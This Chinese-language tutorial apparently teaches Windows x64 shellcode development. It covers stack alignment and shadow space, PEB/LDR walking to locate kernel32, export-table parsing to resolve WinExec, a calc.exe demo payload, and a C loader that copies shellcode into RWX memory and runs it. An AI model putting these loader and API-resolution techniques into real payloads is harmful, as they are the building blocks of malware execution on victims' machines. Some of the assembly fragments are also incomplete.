WIndows x64 ShellCode开发 第一章 x64基础与简单x64程序
字数 2434
更新时间 2026-03-12 13:32:33

Windows x64 ShellCode 开发教学文档

第一章:x64 汇编基础与简单 ShellCode 生成

第一部分:x64 基础 - 寄存器

  1. 寄存器分类

    • 易失性寄存器:在函数调用后其值可能被改变,包括 RAXRCXRDXR8R9R10R11
    • 非易失性寄存器:在函数调用后其值保持不变,通常用于保存程序自身的状态,包括 RBXRBPRDIRSIR12R13R14R15RSP
  2. 函数调用约定(Windows x64)
    在 x64 汇编中,函数的前四个参数依次通过寄存器 RCXRDXR8R9 传递。示例:

    mov rcx, 0    ; 第一个参数
    mov rdx, 1    ; 第二个参数
    call WinExec
    

第二部分:x64 基础 - 堆栈对齐

  1. 基本原则
    Windows x64 系统的栈要求以 16 字节边界对齐。即在调用函数时,栈指针 RSP 的值必须能被 16 整除(RSP % 16 == 0)。未对齐可能导致程序崩溃。

  2. 指令对栈指针的影响

    • PUSHRSP 减小 8 字节。
    • POPRSP 增加 8 字节。
    • CALL:先将返回地址(8字节)压栈(RSP -= 8),然后跳转。
    • RET:从栈中弹出返回地址(RSP += 8),然后跳回。
  3. 对齐操作
    通常在函数调用前手动调整栈指针以实现对齐。例如:

    sub rsp, 8    ; 对齐 RSP
    call WinExec
    add rsp, 8    ; 恢复栈指针
    

第三部分:x64 基础 - 影子空间

  1. 定义
    在 Windows x64 调用约定中,调用者必须为被调用的函数预留 32 字节(4个 8 字节槽)的栈空间,这被称为“影子空间”。即使函数不使用这些空间,也必须预留。

  2. 作用与必要性
    影子空间用于为函数提供存储寄存器参数到栈中的空间,以便调试。它也是局部变量和对齐计算的一部分。如果不预留,栈上的参数和数据可能被覆盖,导致程序错误。

  3. 典型使用
    在函数调用前,通常会分配大于等于 32 字节的空间,并同时满足 16 字节对齐。常见指令为 sub rsp, 0x30(十进制 48 字节),这同时满足了影子空间(32 字节)和对齐要求。

第四部分:简单 x64 程序 - 动态定位 WinExec 并执行 calc.exe

本部分将创建一个不依赖导入表的独立 ShellCode,通过动态解析 Windows 内核结构来定位并调用 WinExec 函数。

  1. 获取 Kernel32.dll 基地址

    • 原理:通过线程环境块(TEB)和进程环境块(PEB)结构遍历已加载模块链表。
    • 步骤
      1. mov rax, [gs:0x60]:从 GS 段寄存器(在 x64 Windows 中指向当前线程的 TEB)的偏移 0x60 处获取 PEB 地址。
      2. mov rax, [rax+0x18]:从 PEB 偏移 0x18 处获取 PEB_LDR_DATA 结构地址。
      3. mov rsi, [rax+0x10]:获取 InLoadOrderModuleList(加载顺序模块链表)头。
      4. 遍历链表:链表第一个节点通常是 ntdll.dll,第二个节点通常是 kernel32.dll
      5. mov rbx, [rsi+0x30]:从 LDR_MODULE 结构偏移 0x30 处获取模块基地址。
  2. 解析 PE 文件结构,定位导出表

    • 获取 PE 头
      mov ebx, [rbx+0x3C]  ; 从 DOS 头 e_lfanew 字段获取 PE 头偏移
      add rbx, r8           ; 加上基址,得到 PE 头实际地址
      
    • 获取导出表
      mov edx, [rbx+0x88]  ; 从可选头的数据目录读取导出表 RVA
      add rdx, r8           ; 加上基址,得到导出表实际地址
      
    • 获取关键信息
      mov r10d, [rdx+0x14] ; NumberOfNames(导出函数名总数)
      mov r11d, [rdx+0x20] ; AddressOfNames(函数名指针数组 RVA)
      add r11, r8           ; 计算函数名数组实际地址
      
  3. 遍历导出表,查找目标函数

    • 准备函数名字符串:将函数名(如 "WinExec\0")以小端序压入栈。注意 x64 中 push 一次压入 8 字节,长字符串可能需要多次操作。
    • 循环查找:遍历 AddressOfNames 数组,将每个导出函数名与目标字符串比较。
    • 查找逻辑
      kernel32findfunction:
          jecxz FunctionNameNotFound   ; 计数器为 0 则跳转
          xor ebx, ebx
          mov ebx, [r11+rcx*4]        ; 读取第 RCX 个函数名的 RVA
          add rbx, r8                 ; 计算函数名实际地址
          dec rcx                     ; 计数器减 1
          mov r9, qword [rax]         ; 读取目标字符串 "WinExec\0"
          cmp [rbx], r9               ; 比较字符串
          jz FunctionNameFound        ; 找到则跳转
          jnz kernel32findfunction    ; 未找到则继续循环
      
  4. 通过序号获取函数地址

    • 获取序号数组:从导出表偏移 0x24 处读取 AddressOfNameOrdinals 数组的 RVA 并计算实际地址。
    • 获取函数地址数组:从导出表偏移 0x1C 处读取 AddressOfFunctions 数组的 RVA 并计算实际地址。
    • 计算最终地址
      mov r13w, [r11+rcx*2]  ; 从序号数组获取目标函数的序号
      mov eax, [r11+r13*4]   ; 从函数地址数组获取目标函数的 RVA
      add rax, r8             ; 加上基址,得到函数实际地址
      
  5. 调用函数并执行

    • 准备参数:按照调用约定,将参数放入 RCXRDX 等寄存器,并确保栈对齐和预留影子空间。
    • 示例 - 调用 WinExec("calc.exe", 1)
      pop r15                 ; 获取 WinExec 函数地址
      mov rax, 0x00
      push rax                ; 字符串终止符 '\0'
      mov rax, 0x6578652E636C6163 ; 小端序 "calc.exe"
      push rax                ; 压入 "calc.exe"
      mov rcx, rsp            ; 第一个参数:字符串地址
      mov rdx, 1              ; 第二个参数:显示窗口
      sub rsp, 0x30           ; 分配影子空间并保持栈对齐
      call r15                ; 调用 WinExec
      
  6. 汇编、链接与提取 ShellCode

    • 编译汇编代码:使用 NASM 编译为 Windows 64 位目标文件。
      nasm -f win64 winexec.asm
      
    • 链接:使用 GCC 链接,并跳过 C 运行时启动。
      gcc -m64 winexec.obj -o winexec.exe -lkernel32 -nostartfiles
      
    • 提取 ShellCode 字节码:使用反汇编工具(如 objdump)提取机器码,并格式化为 ShellCode 字符串(如 \x48\x83\xec\x28...)。
  7. ShellCode 加载器示例(C 语言)

    • 原理:在内存中分配一块具有可执行权限的区域,将 ShellCode 字节码复制进去,然后跳转到该内存地址执行。
    • 关键步骤
      1. 使用 VirtualAlloc 分配可读、可写、可执行的内存。
      2. 使用 memcpy 将 ShellCode 复制到该内存。
      3. 将函数指针转换为无参函数指针并调用。
    • 核心代码
      unsigned char shellcode[] = "\x48\x83\xec\x28...";
      void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
      memcpy(exec, shellcode, sizeof(shellcode));
      ((void(*)())exec)(); // 执行 ShellCode
      

关键概念总结

  • 寄存器与调用约定:明确易失/非易失寄存器用途及前四个参数的传递规则。
  • 栈对齐:确保函数调用前 RSP % 16 == 0
  • 影子空间:调用函数前必须预留 32 字节栈空间。
  • 动态解析:通过 PEB/LDR 结构获取模块基址,通过 PE 导出表解析函数地址,是实现无导入表 ShellCode 的核心。
  • ShellCode 提取:从编译后的二进制中提取机器码,并确保其位置无关,可在任意可执行内存中运行。

通过以上步骤,即可完成一个不依赖固定地址、可独立运行的 x64 ShellCode,实现动态解析并调用系统 API(如 WinExec)的功能。

相似文章
相似文章
 全屏